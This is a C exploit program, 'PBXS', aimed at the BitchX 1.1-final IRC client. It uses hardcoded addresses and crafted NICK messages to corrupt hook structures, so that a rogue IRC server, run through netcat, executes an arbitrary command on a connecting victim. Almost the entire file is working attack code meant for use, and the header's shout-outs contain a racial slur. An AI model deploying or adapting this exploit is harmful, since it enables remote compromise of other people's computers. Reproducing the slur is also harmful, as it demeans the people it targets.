/*  Name: PBXS - Pointless BitchX Sploit
 *   Author: clarity_
 *  Infected Versions: 1.1-final and others?
 *  Synopsis: BitchX suffers from a unchecked bounds in a hash table in hook.c where one
 *        can inject data structures allowing for the remote execution of commands!
 *  Usage: Execute "gcc -o pbxs pbxs.c; ./pbxs ps -aux | nc -l -p 6667" Now when the vuln bitchx
 *      version connects to the mischievous server "ps -aux" will be executed.
 *  Shout Outs: solomon, crypt1, vortek, ziri, and all the other niggaz at svun @ undernet
 */

// Addresses for BitchX-1.1-final-linux.tar.gz avail on ftp.bitchx.org
#define HOOK_FUNCTIONS 0x81366e0
#define NICKNAME 0x8155353
#define STAR 0x8108f34

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define NICK_STR ":bleh!i"
#define NICK_STR2 "@svun.powns.net NICK :"
#define EXEC_STR "EXEC $1-"
#define RAW_FMT_STR ":my_server -%u bleh :%s"

typedef struct {
  unsigned int  hook_functions,
    nickname,
    star;
  unsigned int base, diff, offset;
} Addresses;

/* Partial structs full struct w/ correct values found in include/struct.h */
// To be loaded into nickname static
typedef struct {
    unsigned int name; // point to hook
    unsigned int list;
  // EXEC $1- 2 words
} HookFunc;

// To be loaded into joined_nick static
typedef struct {
//    unsigned int next;    /* struct hook_stru *next; */
    unsigned int nick;     /* char *nick; */    //star
    unsigned int stuff;    /* char *stuff; */
  unsigned int shit;
} Hook;

char * make_nickname(Addresses *addrs, int X, int Y) {
  char *tmp = NULL, *sp = NULL;
  int i;
  HookFunc h;
  Hook hk;

  // malloc
  tmp = (char *) malloc(1024);

  // BASE
  h.name = addrs->star;
  h.list = addrs->base - addrs->diff - 4;

  if (Y) {
    // start loading string
    if (X == 4) {
      strcpy(tmp, NICK_STR);
    }
    else {
      strcpy(tmp, ":");
      strcat(tmp, make_nickname(addrs, X + 1, 0));
      strcat(tmp, "!i");
    }

    sp = tmp + strlen(tmp); // point to char after tmp
    //*sp++ = '0' + X;
    strcpy(sp, NICK_STR2);
  }
  else {
    sp = tmp;
    *tmp = '\0';
  }

    hk.nick = addrs->star;
    hk.stuff = addrs->base + 8;  // "stuff" is loaded after the nick

    // load str
    sp = tmp + strlen(tmp); // point to char after tmp

    memcpy(sp, &hk, sizeof(Hook));
   sp += sizeof(Hook) - 4;

  if (X != 4) {
    while (X--) {
      *sp++ = 'X';
    }
    *sp++ = '\0';
    return tmp;
  }
  else {
    while (X--) {
      *sp++ = 'X';
    }
  }


  // pad
  if (sizeof(Hook) > addrs->diff) {
    printf("!!!!!!!!!!!!!ERRRRRRRRRRRRROOOOOOOOOOOOOOOOORRRRRRRRRRRRRRRRRR: %d\n", addrs->diff);
  }

  for (i = sizeof(Hook); i < addrs->diff; ++i)
    *sp++ = 'x';

  memcpy(sp, &h, sizeof(HookFunc));
  sp += sizeof(HookFunc);
  memcpy(sp, EXEC_STR, strlen(EXEC_STR));
  --sp[4];
  sp += strlen(EXEC_STR);
  *++sp = '\0';

  return tmp;
}

//#define RAW_FMT_STR ":my_server %d bleh :%s"
char * make_raw(Addresses *addrs, char *cmd) {
  char *tmp = NULL;
  unsigned int len;

  len = 2000; // fix later
  tmp = (char *) malloc(len);

  sprintf(tmp, RAW_FMT_STR, addrs->offset, cmd);

  return tmp;
}

int main(int argc, char **argv) {
  Addresses addrs;
  char *cmd = argv[1];

  addrs.hook_functions = HOOK_FUNCTIONS;
  addrs.nickname = NICKNAME;
  addrs.star = STAR;

  addrs.offset = ((NICKNAME - HOOK_FUNCTIONS) / 20) + 1;
  addrs.diff = 20 - ((NICKNAME - HOOK_FUNCTIONS) % 20);
  addrs.base = NICKNAME + addrs.diff;

  printf(":my_server 001 bleh :a\n");
  printf("%s\n", make_nickname(&addrs, 4, 1));
  printf("%s\n", make_nickname(&addrs, 3, 1));
  printf("%s\n", make_nickname(&addrs, 2, 1));
  printf("%s\n", make_nickname(&addrs, 1, 1));
  printf("%s\n", make_nickname(&addrs, 0, 1));
  printf("%s\n", make_raw(&addrs, cmd));

  return 0;
}